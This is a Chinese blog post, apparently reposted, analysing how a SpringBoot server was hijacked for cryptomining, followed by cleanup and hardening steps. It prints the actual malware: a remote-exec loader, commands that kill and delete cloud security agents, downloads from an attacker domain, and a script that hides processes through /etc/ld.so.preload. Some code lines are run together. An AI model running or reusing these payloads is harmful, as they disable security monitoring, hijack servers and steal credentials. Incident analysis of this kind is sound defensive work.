服務(wù)器被入侵挖礦過程
事情經(jīng)過
昨天是周六,睡得比較晚。玩手機(jī)時(shí)忽然收到阿里云短信和郵件提醒,服務(wù)器有異常行為:
首要問題是保障業(yè)務(wù)正??捎?,于是快速拉起另外一個(gè)實(shí)例,將業(yè)務(wù)遷移過去。接下來, 首先將被入侵服務(wù)器關(guān)機(jī),然后一步步研究入侵過程,以及其在服務(wù)器上的行為。
入侵行為分析
根據(jù)郵件內(nèi)容,一個(gè) SpringBoot 應(yīng)用被 getshell 并被執(zhí)行遠(yuǎn)程代碼。被執(zhí)行的代碼語句 base64 解碼后為:
python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()
將其下載,內(nèi)容如下:import sysimport osfrom os.path import expanduser
ver=sys.version
shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs -I {} kill -9 {}
rm -rf /usr/local/aegis
rm -rf /usr/local/qcloud
rm -rf /usr/local/hostguard/bin
ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs -I {} kill -9 {}
'''os.system(shs)
domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")
gitdir=""try:
os.mkdir(homedir+"/.git")except Exception as e:
print(e)if os.path.isdir(homedir+"/.git"):
gitdir=homedir+"/.git"try:
os.mkdir("./.git")except Exception as e:
print(e)if os.path.isdir("./.git"):
gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"): import urllib.request with urllib.request.urlopen(downloadu) as f:
html = f.read()
open(gitdir + "/kworkers", 'wb').write(html)else: import urllib2 with open(gitdir + "/kworkers", 'wb') as f:
f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())
f.close()print ("Download Complete!")
os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):
os.system(gitdir+"/kworkers")else:
os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))
遠(yuǎn)程代碼主要做了這些事情:
- 卸載服務(wù)器上的安全監(jiān)控工具;事后開機(jī),發(fā)現(xiàn)阿里云盾果然被卸載了
- 關(guān)掉所有kworkers進(jìn)程;
-
在當(dāng)前目錄下創(chuàng)建 .git 目錄,下載并執(zhí)行 kworkers 程序。
服務(wù)器殘留痕跡
大概知道了木馬的行為,接著重啟服務(wù)器,查看服務(wù)器上的痕跡。1、查看有無添加定時(shí)任務(wù):木馬添加了定時(shí)啟動(dòng)任務(wù)。2、進(jìn)入木馬主目錄,發(fā)現(xiàn)下載了如下文件:# crontab -l
0 2 * * * /xxx/.git/kworkers
根據(jù)日志,主要是下載程序,檢測(cè)用戶名和密碼,探測(cè)內(nèi)網(wǎng),然后啟動(dòng)自動(dòng)更新、隱藏進(jìn)程等程序。/xxx/.git
/xxx/.git
working dir /xxx from pid 23684
version not exist download
Downloaded: http://m.windowsupdatesupport.org/d/download
version not exist dbus
Downloaded: http://m.windowsupdatesupport.org/d/dbus
version not exist hideproc.sh
Downloaded: http://m.windowsupdatesupport.org/d/hideproc.sh
error exit status 1version not exist sshkey.sh
Downloaded: http://m.windowsupdatesupport.org/d/sshkey.sh
version not exist autoupdate
Downloaded: http://m.windowsupdatesupport.org/d/autoupdate
version not exist kworkers
Key path not found
/xxx/.git
passfound protected
passfound provided
passfound +client
passfound +client
passfound protected
passfound provided
passfound quality
passfound (plus
passfound (digits,
passfound prompt
found aksk xxxx xxxx
found aksk xxxx xxxx
passfound xxx
passfound xxx
passfound xxx
passfound xxx
passfound xxx
passfound xxx
lstat /proc/7776/fd/3: no such file or directory
lstat /proc/7776/fdinfo/3: no such file or directory
lstat /proc/7776/task/7776/fd/3: no such file or directory
lstat /proc/7776/task/7776/fdinfo/3: no such file or directory
lstat /proc/7776/task/7777/fd/3: no such file or directory
lstat /proc/7776/task/7777/fdinfo/3: no such file or directory
lstat /proc/7776/task/7778/fd/3: no such file or directory
lstat /proc/7776/task/7778/fdinfo/3: no such file or directory
lstat /proc/7776/task/7779/fd/3: no such file or directory
lstat /proc/7776/task/7779/fdinfo/3: no such file or directory
lstat /proc/7776/task/7780/fd/3: no such file or directory
lstat /proc/7776/task/7780/fdinfo/3: no such file or directory
lstat /proc/7776/task/7781/fd/3: no such file or directory
lstat /proc/7776/task/7781/fdinfo/3: no such file or directory
lstat /proc/7776/task/7782/fd/3: no such file or directory
lstat /proc/7776/task/7782/fdinfo/3: no such file or directory
lstat /proc/7776/task/7783/fd/3: no such file or directory
lstat /proc/7776/task/7783/fdinfo/3: no such file or directory
restart cmd /xxx/.git/kworkers
/xxx/.git
passfound file,
passfound settings
passfound file.
passfound callbacks
passfound Callback
passfound example
passfound prompt
passfound password
passfound information
passfound token
passfound token
passfound token
passfound Password
passfound password
passfound password
passfound -based
passfound Password
passfound (using
passfound field>
passfound retry
passfound foobar
passfound foobar
passfound foobar
passfound foobar
passfound foobar
passfound password
passfound password
passfound foobar
passfound foobar
passfound secretr
total passwords 25
xxx.xxx.xxx.xxx
lan ip
doscan range xxx.xxx.0.0/16
ping...
Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309μs
working dir /xxx from pid 7792
Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973μs
xxx.xxx.xxx is alive
xxx.xxx.xxx is alive
xxx.xxx.xxx:80 open
xxx.xxx0xxx:443 open
version same download
version same dbus
restart dbus
exec again dbus downrun
kill process pid 23709
process completed
version same hideproc.sh
skip restart hideproc.sh
version same sshkey.sh
skip restart sshkey.sh
version same autoupdate
skip restart autoupdate
version same kworkers
Key path not found
- 對(duì) hideproc.sh 感興趣,其內(nèi)容為:
其首先檢測(cè)是否root用戶,然后編譯libc2共享庫,注入隱藏進(jìn)程的代碼。這應(yīng)該是用netstat無法查看到進(jìn)程名的原因。5、查看訪問日志,發(fā)現(xiàn)期間有個(gè)IP對(duì)服務(wù)器進(jìn)行爆破:if [ "$EUID" -ne 0 ] then echo "Please run as root"else
if [ `grep libc2.28 /etc/ld.so.preload` ] then echo "hideproc already done!!"
else
apt-get update -y
apt-get install build-essential -y
yum check-update
yum install build-essential -y
dnf groupinstall "Development Tools" -y
yum group install "Development Tools" -y
curl http://m.windowsupdatesupport.org/d/processhider.c -o processhider.c
gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
mv libc2.28.so /usr/local/lib/ -f
grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
rm -f processhider.c
ls >/tmp/.1 2>&1
grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload fifi
其他信息
除了上述文件,/tmp文件夾下還生成了.1和.1.sh文件;
查詢可疑ip,位于國內(nèi)北京市,應(yīng)該是肉雞;
查詢木馬下載域名windowsupdatesupport.org,今年6月注冊(cè),解析ip都在國外。該域名很有混淆性,并且為了方便直接用http訪問;
除了下載木馬文件挖礦,未改變服務(wù)器上的其他數(shù)據(jù)。
服務(wù)器被入侵挖礦解決辦法
雖然知道是 SpringBoot 應(yīng)用觸發(fā)了 RCE,但遺憾目前仍未找到是哪個(gè)包導(dǎo)致的漏洞。目前采取的緩解措施為:1、被入侵服務(wù)器重裝系統(tǒng);
2、使用非 root 用戶啟動(dòng) SpringBoot 應(yīng)用;
3、被入侵的是子系統(tǒng),增加基本授權(quán):
apt install -y apache2-utils
htpasswd /etc/nginx/conf.d/.htpasswd user
然后配置 Nginx 使用認(rèn)證信息:
server {
...
auth_basic "子系統(tǒng)鑒權(quán):";
auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
..
}
4、防火墻限制對(duì)外連接。
上述錯(cuò)誤能一定程度上避免類似情況再次發(fā)生,但找到應(yīng)用程序中的漏洞才是接下來的重點(diǎn)。總結(jié)
幸運(yùn)的是這次來的是挖礦木馬,服務(wù)器上的程序和數(shù)據(jù)都未受影響。也很感謝阿里云免費(fèi)的安全提醒,讓我在第一時(shí)間處理。
但這次事故也敲醒了警鐘:
- 不要隨意用 root 權(quán)限運(yùn)行程序;
- 防火墻權(quán)限要嚴(yán)格收緊;
- 做好安全監(jiān)控;
- 時(shí)刻做好數(shù)據(jù)備份。
審核編輯:湯梓紅
-
服務(wù)器
+關(guān)注
關(guān)注
13文章
9795瀏覽量
88000 -
木馬
+關(guān)注
關(guān)注
0文章
47瀏覽量
13543 -
阿里云
+關(guān)注
關(guān)注
3文章
1014瀏覽量
44191 -
挖礦
+關(guān)注
關(guān)注
6文章
448瀏覽量
16429
原文標(biāo)題:記一次服務(wù)器被入侵,沒想到我輕松搞定了它~
文章出處:【微信號(hào):AndroidPush,微信公眾號(hào):Android編程精選】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
服務(wù)器遠(yuǎn)程不上服務(wù)器怎么辦?服務(wù)器無法遠(yuǎn)程的原因是什么?
服務(wù)器超出了連接范圍的解決方法
服務(wù)器被植入挖礦病毒解決辦法
TCP服務(wù)器創(chuàng)建過程
被入侵服務(wù)器的癥狀分析與應(yīng)對(duì)方法
云服務(wù)器可以挖礦嗎_云服務(wù)器怎么挖礦

解析Linux如何判斷自己的服務(wù)器是否被入侵的檢測(cè)方法
網(wǎng)絡(luò)診斷提示DNS服務(wù)器未響應(yīng)解決方法

win7dns服務(wù)器異常原因及解決方法

串口服務(wù)器的常見問題及解決方法
Linux服務(wù)器被入侵導(dǎo)致凍結(jié)的過程
獨(dú)立服務(wù)器異常問題及解決方法
FTP連接被重置問題的解決方法與技巧!FTP服務(wù)器連接修復(fù)!
服務(wù)器入侵現(xiàn)象、排查和處理步驟

評(píng)論